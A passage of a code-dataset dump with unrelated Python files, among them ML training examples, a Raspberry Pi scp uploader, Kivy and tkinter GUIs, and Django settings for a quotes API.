print('你第%d次掷出了%d,%d,未分胜负!你第一次掷出的点数为:%d,%d,合%d'%(count,x,y,a,b,first_sum))\n count +=1\n continue\nif __name__ == '__main__':\n carpsgame()\n\n","sub_path":"python100days/day002/crapsgame.py","file_name":"crapsgame.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"214518154","text":"import tensorflow as tf\nfrom tensorflow import placeholder\nfrom tensorflow.examples.tutorials.mnist import \\\n input_data\n\nfrom keras import backend as K\nfrom keras.layers import Dense\nfrom keras.objectives import categorical_crossentropy\nfrom keras.metrics import categorical_accuracy\n\nimport sacred\n\n\nex = sacred.Experiment()\n\n\n@ex.config\ndef cfg():\n hidden_units = 512\n batch_size = 32\n nr_epochs = 100\n optimizer = 'sgd'\n learning_rate = 0.1\n log_dir = 'log/NN{}'.format(hidden_units)\n\n\n@ex.capture\ndef build_model(hidden_units):\n img = placeholder(tf.float32, shape=(None, 784))\n label = placeholder(tf.float32, shape=(None, 10))\n\n h = Dense(hidden_units, activation='relu')(img)\n preds = Dense(10, activation='softmax')(h)\n\n loss = tf.reduce_mean(\n categorical_crossentropy(label, preds))\n accuracy = tf.reduce_mean(\n categorical_accuracy(label, preds))\n\n return img, label, loss, accuracy\n\n\n@ex.capture\ndef set_up_optimizer(loss, optimizer, learning_rate):\n OptClass = {\n 'sgd': tf.train.GradientDescentOptimizer,\n 'adam': tf.train.AdamOptimizer}[optimizer]\n opt = OptClass(learning_rate=learning_rate)\n return opt.minimize(loss)\n\n\n@ex.automain\ndef main(batch_size, nr_epochs, log_dir, _run):\n sess = tf.Session()\n K.set_session(sess)\n\n mnist = input_data.read_data_sets('MNIST_data',\n one_hot=True)\n\n img, label, loss, acc = build_model()\n train_step = set_up_optimizer(loss)\n\n init_op = tf.global_variables_initializer()\n sess.run(init_op)\n\n summary_writer = tf.summary.FileWriter(log_dir)\n summary_writer.add_graph(tf.get_default_graph())\n\n for epoch in range(nr_epochs):\n batch = mnist.train.next_batch(batch_size)\n _, l, a = sess.run([train_step, loss, acc],\n feed_dict={label: batch[1],\n img: batch[0]})\n\n _run.log_scalar(\"train.cross_entropy\", l)\n _run.log_scalar(\"train.accuracy\", a, epoch)\n print(epoch, a, l)\n\n return sess.run(acc, feed_dict={\n img: mnist.test.images,\n label: mnist.test.labels})\n","sub_path":"papers/klaus_greff/kerasexample.py","file_name":"kerasexample.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"132618400","text":"# # data analysis and wrangling\nimport pandas as pd\n# import numpy as np\n# import random as rnd\n\n# visualization\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n#matplotlib inline\n\n# machine learning\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import SVC, LinearSVC\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.linear_model import Perceptron\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.tree import DecisionTreeClassifier\n\n\nclass Model(object):\n def __init__(self, combine):\n self.combine = combine\n train_df = combine[0]\n test_df = combine[1]\n self.X_train = train_df.drop(\"Survived\", axis=1)\n self.Y_train = train_df[\"Survived\"]\n self.X_test = test_df.drop(\"PassengerId\", axis=1).copy()\n\n def main(self):\n self.logistic_regression()\n self.svm()\n self.knn()\n self.gaussian_naive_bayes()\n self.perceptron()\n self.random_forest()\n\n def logistic_regression(self):\n print(\"logistic regression beginning\")\n\n logreg = LogisticRegression()\n logreg.fit(self.X_train, self.Y_train)\n Y_pred = logreg.predict(self.X_test)\n\n coeff_df = pd.DataFrame(self.combine[0].columns.delete(0))\n coeff_df.columns = ['Feature']\n coeff_df[\"Correlation\"] = pd.Series(logreg.coef_[0])\n # print(coeff_df.sort_values(by='Correlation', ascending=False))\n\n acc_log = round(logreg.score(self.X_train, self.Y_train) * 100, 2)\n print(f\"logistic regression done with {acc_log}% accuracy\")\n return Y_pred\n\n def svm(self):\n print(\"support vector machines beginning\")\n svc = SVC()\n svc.fit(self.X_train, self.Y_train)\n Y_pred = svc.predict(self.X_test)\n acc_svc = round(svc.score(self.X_train, self.Y_train) * 100, 2)\n print(f\"support vector machines done with {acc_svc}% accuracy\")\n return Y_pred\n\n def knn(self):\n print(\"knn beginning\")\n knn = KNeighborsClassifier(n_neighbors=3)\n knn.fit(self.X_train, self.Y_train)\n Y_pred = knn.predict(self.X_test)\n acc_knn = round(knn.score(self.X_train, self.Y_train) * 100, 2)\n print(f\"knn with {acc_knn}% accuracy\")\n return Y_pred\n\n def gaussian_naive_bayes(self):\n print(\"gaussian naive bayes beginning\")\n gaussian = GaussianNB()\n gaussian.fit(self.X_train, self.Y_train)\n Y_pred = gaussian.predict(self.X_test)\n acc_gaussian = round(gaussian.score(self.X_train, self.Y_train) * 100, 2)\n print(f\"gaussian naive bayes done with {acc_gaussian}% accuracy\")\n return Y_pred\n\n def perceptron(self):\n print(\"perceptron beginning\")\n perceptron = Perceptron()\n perceptron.fit(self.X_train, self.Y_train)\n Y_pred = perceptron.predict(self.X_test)\n acc_perceptron = round(perceptron.score(self.X_train, self.Y_train) * 100, 2)\n print(f\"perceptron done with {acc_perceptron}% accuracy\")\n return Y_pred\n\n def random_forest(self):\n print(\"random forest beginning\")\n random_forest = RandomForestClassifier(n_estimators=100)\n random_forest.fit(self.X_train, self.Y_train)\n Y_pred = random_forest.predict(self.X_test)\n random_forest.score(self.X_train, self.Y_train)\n acc_random_forest = round(random_forest.score(self.X_train, self.Y_train) * 100, 2)\n print(f\"random forest done with {acc_random_forest}% accuracy\")\n return Y_pred","sub_path":"titanic/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"309466611","text":"from collections import deque\n\n\nclass Robot:\n black = 0\n white = 1\n left = 0\n right = 1\n\n def __init__(self):\n self.painting = dict()\n self.x, self.y = 0, 0\n self.changes = 0\n self.moves = 0\n self.directions = deque([(0, -1), (-1, 0), (0, 1), (1, 0)])\n\n def get_color(self):\n return self.painting.get((self.x, self.y), Robot.black)\n\n def move(self, turn):\n self.moves += 1\n if turn == self.left:\n self.directions.rotate(-1)\n else:\n self.directions.rotate(1)\n self.x += self.directions[0][0]\n self.y += self.directions[0][1]\n\n def paint(self, color):\n if (self.x, self.y) not in self.painting.keys() and color == self.white:\n self.changes += 1\n self.painting[(self.x, self.y)] = color\n\n def get_changes(self):\n return self.changes\n\n def get_text_picture(self):\n min_x = min((x[0] for x in self.painting.keys()))\n min_y = min((x[1] for x in self.painting.keys()))\n max_x = max((x[0] for x in self.painting.keys()))\n max_y = max((x[1] for x in self.painting.keys()))\n\n picture = [ [\" \" for x in range(0,max_x-min_x+1)] for y in range(0,max_y-min_y+1)]\n for coords, color in self.painting.items():\n\n if color == Robot.white:\n picture[coords[1]][coords[0]] = \"#\"\n\n return picture\n","sub_path":"day11/Robot.py","file_name":"Robot.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"201486798","text":"# -*- coding:UTF-8 -*-\r\n\r\n\"\"\"\r\n找到数组中第一个不重复出现的整数 python\r\n\"\"\"\r\n\r\nimport collections\r\n\r\n\r\n# 组中不重复的数只有一个,初始值为0,然后直接遍历数组,让每个值与初始值进行异或,得出的最终值就是要找的结果:\r\ndef findNoDupOnlyOne(data):\r\n single = 0\r\n for v in data:\r\n single = single ^ v\r\n return single\r\n\r\n\r\n# 数组中不重复的数大于一个,则可以遍历一次数组,使用一个map记录数与数出现的次数;接着,再遍历一次map,找出次数为1的数,即为我们要找的数:\r\n# 找到第一个不重复的数字 负数会出bug\r\ndef findNoDupMany(data):\r\n single = 0\r\n Map = {}\r\n for i in range(len(data)):\r\n if data[i] in Map:\r\n Map[data[i]] += 1\r\n else:\r\n Map[data[i]] = 1\r\n for key in Map:\r\n if Map[key] == 1:\r\n single = key\r\n break\r\n return single\r\n\r\n\r\n# 找到第一个不重复的数字 ordereddict\r\ndef findFirstNoDupMany(data):\r\n single = 0\r\n Map = collections.OrderedDict()\r\n for i in range(len(data)):\r\n if data[i] in Map:\r\n Map[data[i]] += 1\r\n else:\r\n Map[data[i]] = 1\r\n print(Map)\r\n for key in Map:\r\n if Map[key] == 1:\r\n single = key\r\n break\r\n return single\r\n\r\n\r\n# 找到第一个重复的数字\r\ndef findFirstDup(numbers, duplication):\r\n # write code here\r\n numbers_set = set()\r\n for i in numbers:\r\n if i not in numbers_set:\r\n numbers_set.add(i)\r\n else:\r\n duplication[0] = i\r\n return True\r\n return False\r\n\r\n\r\nlist = [2, 3, 3, 1, 0, 2, 5, 3]\r\n\r\n\r\ndef nodup(list):\r\n for ind, i in enumerate(list):\r\n tmp = list[ind + 1:]\r\n for ind_j, j in enumerate(tmp):\r\n if i == j:\r\n break\r\n if ind_j == len(tmp) - 1 and i != j:\r\n return i\r\n\r\n\r\n# print(nodup(list))\r\n\r\ndata = [-10, -1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6]\r\nprint(findFirstNoDupMany(data))\r\n","sub_path":"Classic/NoDup.py","file_name":"NoDup.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"640164270","text":"from gtts import gTTS\nimport string\n\n\ndef punc_remover(s):\n new_s = \"\"\n for i in s:\n if i not in string.punctuation:\n new_s += i\n return new_s\n\n\ns = input(\"Write your word:\\n\")\ntts = gTTS(text=s, lang='en')\ntts.save(\"{0}.mp3\".format(punc_remover(s)))\n","sub_path":"console code maker/gTTS/en/gTTS en.py","file_name":"gTTS en.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"333127702","text":"# program to send files constantly to a server through the pi once a connection\n# has been established\nimport subprocess\nimport time, os, threading\n\ndef sendFile(files, seconds):\n toSend = files\n for i in toSend:\n path = i\n print(i)\n destination = 'wow@192.168.1.15:/home/wow/Desktop/Data'\n process = os.popen('scp ' + path + ' ' + destination)\n preprocessed = process.read()\n process.close()\n print('success')\n time.sleep(seconds)\n \ndef findFiles():\n path = '/home/pi/Desktop/DataDump/'\n files = []\n \n for r, d, f in os.walk(path):\n for file in f:\n files.append(os.path.join(r, file))\n \n #for f in files:\n #print(f)\n return files \n \ntoFind = findFiles()\nsendFile(toFind, 90)","sub_path":"MachineLearningScripts/FileSender.py","file_name":"FileSender.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"135529983","text":"from kivy.uix.screenmanager import Screen\nfrom kivy.uix.button import Button\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.scrollview import ScrollView\nfrom kivy.uix.widget import Widget\nfrom kivy.uix.screenmanager import SlideTransition\nfrom kivy.uix.label import Label\nfrom kivy.graphics.instructions import InstructionGroup\nfrom kivy.graphics import Color, Rectangle\n\nfrom StudentDetailsWidget import StudentDetailsWidget\nfrom ColorBoxLayout import ColorBoxLayout\n\nitemSpacing = 12\ncontentPadding = 12\n\nfrom functools import partial\nclass SubjectsScreen(Screen): \n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n # self.subjects = kwargs['subjects']\n self.data = []\n \n boxLayout = ColorBoxLayout(orientation='vertical', color=Color(162/255, 162/255, 165/255,1))\n \n #scroll view\n self.scrollView = ScrollView()\n self.contentView = BoxLayout(orientation='vertical', padding=contentPadding, spacing=itemSpacing, pos_hint={'top': 1})\n self.scrollView.add_widget(self.contentView)\n\n #navigation bar\n self.navigationBar = ColorBoxLayout(orientation='horizontal', size_hint_y=None, height=140) \n \n self.backButton = Button(size_hint=(None,1), width= 260, text='< Back', background_color=(0, 0, 0, 0))\n self.backButton.on_press = self.back\n \n self.navigationBar.add_widget(Label(text='Subjects', size_hint_x=None, width=380, font_size=70))\n self.navigationBar.add_widget(Widget())\n self.navigationBar.add_widget(self.backButton)\n\n boxLayout.add_widget(self.navigationBar)\n boxLayout.add_widget(self.scrollView)\n self.add_widget(boxLayout) \n \n self.studentDetailsWidget = StudentDetailsWidget(size_hint_y=None, height=200)\n boxLayout.add_widget(self.studentDetailsWidget) \n\n def set_data(self, data): \n self.data = data\n self.studentDetailsWidget.set_student_data(data['current']) \n self.update()\n\n def on_pre_enter(self, *args): \n self.update() \n\n def update(self):\n self.contentView.clear_widgets() \n buttonHeight = 200\n for i in range(len(self.data['modules'])):\n \n subjectButton = Button(background_normal='', color=(0.1,0.1,0.1,1), font_size=50)\n subjectButton.size_hint_y = None \n subjectButton.height = buttonHeight\n subjectButton.text = '{0} {1}'.format(self.data['modules'][i]['id'], self.data['modules'][i]['name'])\n subjectButton.on_press=partial(self.select_subject, i) \n self.contentView.add_widget(subjectButton)\n\n self.contentView.size_hint_y = None\n self.contentView.height = len(self.data['modules'])*(buttonHeight + itemSpacing) - itemSpacing + 2*contentPadding\n \n def back(self):\n self.parent.transition = SlideTransition(direction=\"right\")\n self.parent.current = 'LOGIN_SCREEN'\n\n def select_subject(self, index):\n self.parent.transition = SlideTransition(direction=\"left\")\n self.parent.current = 'PROFESSORS_SCREEN'\n self.parent.professorsScreen.select_subject(index) \n\n","sub_path":"SubjectsScreen.py","file_name":"SubjectsScreen.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"175695356","text":"from pathlib import Path\n\nfrom decouple import config as secret\n\n# Build paths inside the project like this: BASE_DIR / 'subdir'.\nBASE_DIR = Path(__file__).resolve().parent.parent.parent\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = secret(\n \"DAJNGO_SECRET_KEY\", default=\"2x$e%!k_u_0*gq0s4!_u(2(^lpy&gir0hg)q&5nurj0-sseuav\"\n)\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = secret(\"DJANGO_DEBUG\", cast=bool, default=True)\n\nALLOWED_HOSTS = [\"bolsonaro-api.herokuapp.com\", \"127.0.0.1\"]\n\n\n# Application definition\n\nDEFAULT_APPS = [\n \"django.contrib.admin\",\n \"django.contrib.auth\",\n \"django.contrib.contenttypes\",\n \"django.contrib.sessions\",\n \"django.contrib.messages\",\n \"django.contrib.staticfiles\",\n]\n\nLOCAL_APPS = [\n \"quotes.apps.QuotesConfig\",\n \"actions.apps.ActionsConfig\",\n]\n\nTHIRD_PARTY_APPS = [\n \"taggit\",\n \"taggit_labels\",\n \"rest_framework\",\n \"corsheaders\",\n \"drf_recaptcha\",\n \"django_filters\",\n \"drf_yasg\",\n]\n\n\nINSTALLED_APPS = DEFAULT_APPS + LOCAL_APPS + THIRD_PARTY_APPS\n\n\nMIDDLEWARE = [\n \"corsheaders.middleware.CorsMiddleware\",\n \"whitenoise.middleware.WhiteNoiseMiddleware\",\n \"django.middleware.security.SecurityMiddleware\",\n \"django.contrib.sessions.middleware.SessionMiddleware\",\n \"django.middleware.common.CommonMiddleware\",\n \"django.middleware.csrf.CsrfViewMiddleware\",\n \"django.contrib.auth.middleware.AuthenticationMiddleware\",\n \"django.contrib.messages.middleware.MessageMiddleware\",\n \"django.middleware.clickjacking.XFrameOptionsMiddleware\",\n]\n\nROOT_URLCONF = \"bolsonaro_api.urls\"\n\nTEMPLATES = [\n {\n \"BACKEND\": \"django.template.backends.django.DjangoTemplates\",\n \"DIRS\": [BASE_DIR / \"static\" / \"templates\"],\n \"APP_DIRS\": True,\n \"OPTIONS\": {\n \"context_processors\": [\n \"django.template.context_processors.debug\",\n \"django.template.context_processors.request\",\n \"django.contrib.auth.context_processors.auth\",\n \"django.contrib.messages.context_processors.messages\",\n ],\n },\n },\n]\n\n\nWSGI_APPLICATION = \"bolsonaro_api.wsgi.application\"\n\n\n# Database\n# https://docs.djangoproject.com/en/3.1/ref/settings/#databases\n\nDATABASES = {\n \"default\": {\n \"ENGINE\": secret(\"DATABASE_ENGINE\", default=\"django.db.backends.sqlite3\"),\n \"PORT\": secret(\"DATABASE_PORT\", cast=int, default=5432),\n \"USER\": secret(\"DATABASE_USER\", default=\"user\"),\n \"NAME\": secret(\"DATABASE_NAME\", default=BASE_DIR / \"db.sqlite3\"),\n \"PASSWORD\": secret(\"DATABASE_PASSWORD\", default=\"password\"),\n \"HOST\": secret(\"DATABASE_HOST\", default=\"localhost\"),\n }\n}\n\n# Password validation\n# https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n \"NAME\": \"django.contrib.auth.password_validation.UserAttributeSimilarityValidator\",\n },\n {\n \"NAME\": \"django.contrib.auth.password_validation.MinimumLengthValidator\",\n },\n {\n \"NAME\": \"django.contrib.auth.password_validation.CommonPasswordValidator\",\n },\n {\n \"NAME\": \"django.contrib.auth.password_validation.NumericPasswordValidator\",\n },\n]\n\nLOGGING = {\n \"version\": 1,\n \"disable_existing_loggers\": False,\n \"formatters\": {\n \"default\": {\n \"format\": \"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n \"datefmt\": \"%d/%m/%Y %H:%M:%S\",\n }\n },\n \"handlers\": {\n \"console\": {\n \"level\": \"DEBUG\",\n \"class\": \"logging.StreamHandler\",\n \"formatter\": \"default\",\n }\n },\n \"loggers\": {\"django\": {\"handlers\": [\"console\"]}},\n}\n\n# Internationalization\n# https://docs.djangoproject.com/en/3.1/topics/i18n/\n\nLANGUAGE_CODE = \"en-us\"\n\nTIME_ZONE = \"UTC\"\n\nUSE_I18N = True\n\nUSE_L10N = False\n\nUSE_TZ = True\n\nDATE_INPUT_FORMATS = [\"%d/%m/%Y\"]\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/3.1/howto/static-files/\n\nSTATIC_ROOT = BASE_DIR / \"static\"\nSTATIC_URL = \"/static/\"\n\nEMAIL_HOST_USER = secret(\"EMAIL_HOST_USER\", default=\"\")\nEMAIL_BACKEND = \"sendgrid_backend.SendgridBackend\"\nSENDGRID_API_KEY = secret(\"SENDGRID_API_KEY\", default=\"\")\nSENDGRID_SANDBOX_MODE_IN_DEBUG = secret(\n \"SENDGRID_SANDBOX_MODE_IN_DEBUG\", cast=bool, default=True\n)\n\n\nLANGUAGE_CODE = \"pt-br\"\nCORS_ALLOW_ALL_ORIGINS = True\n\n\nREST_FRAMEWORK = {\n \"DATE_INPUT_FORMATS\": [\"%d/%m/%Y\"],\n \"TEST_REQUEST_DEFAULT_FORMAT\": \"json\",\n \"DEFAULT_THROTTLE_CLASSES\": [\"rest_framework.throttling.AnonRateThrottle\"],\n \"DEFAULT_THROTTLE_RATES\": {\"anon\": \"100000/day\"},\n \"DEFAULT_FILTER_BACKENDS\": (\"django_filters.rest_framework.DjangoFilterBackend\",),\n \"DEFAULT_PAGINATION_CLASS\": \"rest_framework.pagination.PageNumberPagination\",\n \"PAGE_SIZE\": 10,\n}\nDRF_RECAPTCHA_SECRET_KEY = secret(\"RECAPTCHA_SECRET_KEY\", default=\"\")\n# https://developers.google.com/recaptcha/docs/faq#id-like-to-run-automated-tests-with-recaptcha.-what-should-i-do\n\nTWITTER_API_KEY = secret(\"TWITTER_API_KEY\", default=\"\")\nTWITTER_API_SECRET_KEY = secret(\"TWITTER_API_SECRET_KEY\", default=\"\")\nTWITTER_API_TOKEN = secret(\"TWITTER_API_TOKEN\", default=\"\")\nTWITTER_API_SECRET_TOKEN = secret(\"TWITTER_API_SECRET_TOKEN\", default=\"\")\n\nCELERY_BROKER_URL = secret(\"REDIS_URL\", default=\"redis://localhost:6379\")\nCELERY_RESULT_BACKEND = secret(\"REDIS_URL\", default=\"redis://localhost:6379\")\nCELERY_ACCEPT_CONTENT = [\"application/json\"]\nCELERY_RESULT_SERIALIZER = \"json\"\nCELERY_TASK_SERIALIZER = \"json\"\n\nSWAGGER_SETTINGS = {\"USE_SESSION_AUTH\": False}\n","sub_path":"django/bolsonaro_api/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"490395889","text":"#!/usr/bin/env python\n#coding:utf-8\n#author: moore moorewqk@163.com\n\n\nfrom django.shortcuts import render\nfrom django.http import HttpResponse,JsonResponse\n\nfrom django.views.generic.base import View\nfrom braces.views import LoginRequiredMixin\n\n\nimport json\nfrom jadehare.settings import BASE_DIR\n\nfrom .api import ServiceDeployFlow, ServiceStatus_init, GenOpsID, GetRecord\nfrom tools.uilts import RecordLog\nfrom .models import ServiceDeploy\nfrom service.models import ServiceStatus\nfrom .forms import ServiceDeployForm\n\n\nclass ServiceDeployListView(LoginRequiredMixin,View):\n\n def get(self,request):\n temp_name = \"deploycm/deploycm-header.html\"\n agentdeploy_list = ServiceDeploy.objects.all()\n\n return render(request,'deploycm/agentdeploy_list.html',locals())\n\n\nclass TryDeployView(LoginRequiredMixin,View):\n\n def get(self,request,id):\n instance = ServiceDeploy.objects.get(id=id)\n opsid = GenOpsID (instance=instance)\n instance.opsid = opsid\n instance.save ()\n\n res = ServiceDeployFlow (instance=instance, request=request)\n if res:\n instance.deploy_status = 1\n instance.save ()\n status = 1\n msg = \"部署:{servicename}成功\".format (servicename=instance.service.name)\n # render浏览器\n result = {\n 'status': status,\n \"msgs\": msg,\n }\n return HttpResponse (json.dumps (result), content_type=\"application/json\")\n\n else:\n instance.deploy_status = 2\n instance.save ()\n status = 2\n msg = \"部署:{servicename}失败\".format (servicename=instance.service.name)\n # render浏览器\n result = {\n 'status': status,\n \"msgs\": msg,\n }\n return HttpResponse (json.dumps (result), content_type=\"application/json\")\n \n \n \n\n\nclass ServiceDeployAddView(LoginRequiredMixin,View):\n\n def get(self,request):\n temp_name = \"deploycm/deploycm-header.html\"\n display_control = 'none'\n agentdeploy_form = ServiceDeployForm()\n return render(request,'deploycm/agentdeploy_add.html',locals())\n\n def post(self,request):\n temp_name = \"deploycm/deploycm-header.html\"\n agentdeploy_form = ServiceDeployForm(request.POST)\n if agentdeploy_form.is_valid():\n #1.同步调用API执行部署流程,\n #2.把部署流程日志写入日志记录表\n deploy_env = agentdeploy_form.cleaned_data[\"deploy_env\"]\n service = agentdeploy_form.cleaned_data[\"service\"]\n # isService = ServiceStatus.objects.\n #isDeployObjList = ServiceDeploy.objects.filter(service_id=service).filter(deploy_env=deploy_env)\n isdepHosts = []\n isdeploy = ServiceStatus.objects.filter(service_name=service.name)\n # print(isdeploy)\n if isdeploy and len(isdeploy) > 0:\n for dep in isdeploy:\n if dep.host in [host.asset_ip for host in agentdeploy_form.cleaned_data[\"hostList\"]]:\n isdepHosts.append(dep.host)\n \n if len(isdepHosts) > 0:\n msg = \"软件/服务:{projectname}在{isdepHosts}主机上已存在,请勿重复部署\".format(projectname=service.name,isdepHosts=isdepHosts)\n status = 3\n results = {\n 'agentdeploy_form': agentdeploy_form,\n 'request': request,\n 'temp_name': temp_name,\n 'status': status,\n \"msgs\": json.dumps(msg,ensure_ascii=False)\n }\n return render(request, \"deploycm/agentdeploy_add.html\", results)\n else:\n instance = agentdeploy_form.save()\n ServiceStatus_init (instance=instance)\n opsid = GenOpsID (instance=instance)\n instance.opsid = opsid\n instance.save()\n res = ServiceDeployFlow (instance=instance, request=request)\n if res:\n instance.status = 1\n instance.save ()\n status = 1\n msg = \"部署:{servicename}成功\".format (servicename=instance.service.name)\n # render浏览器\n results = {\n 'agentdeploy_form': agentdeploy_form,\n 'request': request,\n 'temp_name': temp_name,\n 'status': status,\n \"msgs\": msg,\n }\n return render (request, \"deploycm/agentdeploy_add.html\", results)\n\n else:\n instance.status = 2\n instance.save ()\n status = 2\n msg = \"部署:{servicename}失败\".format (servicename=instance.service.name)\n # render浏览器\n results = {\n 'agentdeploy_form': agentdeploy_form,\n 'request': request,\n 'temp_name': temp_name,\n 'status': status,\n \"msgs\": msg,\n }\n return render (request, \"deploycm/agentdeploy_add.html\", results)\n else:\n \n status = 2\n msg = \"部署失败\"\n results = {\n 'agentdeploy_form': agentdeploy_form,\n 'request': request,\n 'temp_name': temp_name,\n 'status': status,\n \"msgs\": msg,\n }\n return render (request, \"deploycm/agentdeploy_add.html\", results)\n\n\nclass ServiceDeployEditView(LoginRequiredMixin,View):\n\n def get(self,request,id):\n temp_name = \"deploycm/deploycm-header.html\"\n obj = ServiceDeploy.objects.filter(id=id)\n if len(obj) == 1:\n obj = obj[0]\n else:\n obj = None\n\n agentdeploy_form = ServiceDeployForm(instance=obj)\n return render(request,'deploycm/agentdeploy_edit.html',locals())\n\n def post(self,request,id):\n temp_name = \"deploycm/deploycm-header.html\"\n obj = ServiceDeploy.objects.filter(id=id)\n if len(obj) == 1:\n obj = obj[0]\n else:\n obj = None\n\n agentdeploy_form = ServiceDeployForm(request.POST,instance=obj)\n if agentdeploy_form.is_valid():\n instance = agentdeploy_form.save()\n msg = \"编辑成功\"\n RecordLog.WLogRecord (opsid=instance.opsid, user=request.user, fname=\"deploycm\",\n status=\"faild\", message=msg)\n status = 1\n msgs = json.dumps(\"编辑成功\")\n return render(request,'deploycm/agentdeploy_edit.html',locals())\n else:\n status = 2\n msg = \"编辑失败\"\n RecordLog.WLogRecord (opsid=obj.opsid, user=request.user, fname=\"deploycm\",\n status=\"faild\", message=msg)\n msgs = json.dumps(\"编辑失败\")\n return render(request,'deploycm/agentdeploy_edit.html',locals())\n \n\nclass ServiceDeployDeleteView(LoginRequiredMixin,View):\n\n def get(self,request):\n agentdeploy_id = request.GET.get('id','')\n if agentdeploy_id:\n try:\n ServiceDeploy.objects.filter(id=agentdeploy_id).delete()\n status = 0\n msgs = \"删除成功\"\n return JsonResponse({\"status\":status,\"msgs\":msgs})\n except Exception as e:\n status = 1\n msgs = \"删除失败\"\n return JsonResponse({\"status\":status,\"msgs\":msgs})\n\nclass ServiceDeployLogDetailView(LoginRequiredMixin,View):\n\n def get(self,request,opsid):\n temp_name = \"deploycm/deploycm-header.html\"\n # msgs = GetRecord(opsid)\n msgs = RecordLog.RecordDisplay(opsid)\n results = {\n 'request': request,\n 'temp_name': temp_name,\n \"msgs\": msgs\n }\n return render(request,'deploycm/agentdeploylogdetail.html',results)\n\n\nclass ServiceDeployHostsView(LoginRequiredMixin,View):\n\n\tdef get(self,request,id):\n\t\ttemp_name = \"deploycm/deploycm-header.html\"\n\t\tservicedeploy = ServiceDeploy.objects.get(id=id)\n\t\thost_list = [ host.asset_ip for host in servicedeploy.hostList.all()]\n\t\tprint(\"hhhh\",host_list)\n\t\treturn HttpResponse(json.dumps(host_list),content_type=\"application/json\")","sub_path":"deploycm/servicedeploy.py","file_name":"servicedeploy.py","file_ext":"py","file_size_in_byte":8613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"623376051","text":"import tkinter as tk\nfrom tkinter import messagebox as tkMessageBox\nimport requests\n\nclass Page1View(tk.Frame):\n \"\"\" Page 1 \"\"\"\n\n def __init__(self, parent, submit_callback, delete_callback, update_callback, detail_callback):\n \"\"\" Initialize Page 1 \"\"\"\n tk.Frame.__init__(self, parent, width=1200, height=1200, padx=20)\n self._parent = parent\n self._submit_callback = submit_callback\n self._delete_callback = delete_callback\n self._update_callback = update_callback\n self._detail_callback = detail_callback\n self._create_widgets()\n\n def _create_widgets(self):\n \"\"\" Creates the widgets for Page 1 \"\"\"\n self._label = tk.Label(self, text=\"Movie\")\n self._label.grid(row=1, column=2, padx=50)\n\n self._scrollbar = tk.Scrollbar(self, orient=tk.VERTICAL)\n\n self._listbox = tk.Listbox(self, yscrollcommand=self._scrollbar.set)\n self._scrollbar.config(command=self._listbox.yview)\n self._listbox.grid(row=2, columnspan=5, ipadx=100, ipady=20)\n self._scrollbar.grid(row=2, column=6, sticky=tk.N+tk.S+tk.E)\n\n self._button1 = tk.Button(self,\n text=\"Refresh\",\n command=self._submit_callback)\n self._button1.grid(row=3, column=1, pady=5)\n\n self._button1 = tk.Button(self,\n text=\"Update\",\n command=self._update_callback)\n self._button1.grid(row=3, column=2, pady=5)\n\n self._button1 = tk.Button(self,\n text=\"Delete\",\n command=self._delete_callback)\n self._button1.grid(row=3, column=3, pady=5)\n\n self._button1 = tk.Button(self,\n text=\"Details\",\n command=self._detail_callback)\n self._button1.grid(row=3, column=4, pady=5)\n\n def set_form_data(self, data):\n self._listbox.delete(0, tk.END)\n if data is None:\n self._listbox.insert(tk.END, \"\")\n return\n for m in data:\n self._listbox.insert(tk.END, \"{}--{}\".format(m[\"name\"], m[\"id\"]))\n\n def get_id(self):\n if len(self._listbox.curselection()) != 0:\n index = self._listbox.curselection()[0]\n id = int(self._listbox.get(0, tk.END)[index].split(\"--\")[1])\n return str(id)\n\n else:\n tkMessageBox.showerror(\"Error\", \"No item is selected.\")\n raise ValueError\n\n def delete_id(self, id):\n index = self._listbox.curselection()[0]\n name = str(self._listbox.get(0, tk.END)[index].split(\"--\")[0])\n if tkMessageBox.askyesno('Verify', 'Delete ' + name + \"?\"):\n return id\n\n def get_detail(self, ent):\n tkMessageBox.showinfo(\"Details\", \"Name: {}\\nYear Released: {}\\nDirector: {}\\nRating: {}\\nLength: {}\"\n .format(ent['name'], ent['year_released'], ent['director'], ent['rating'], ent['length']))\n\n def get_selected(self, data):\n if self.get_id() is not None:\n for m in data:\n if 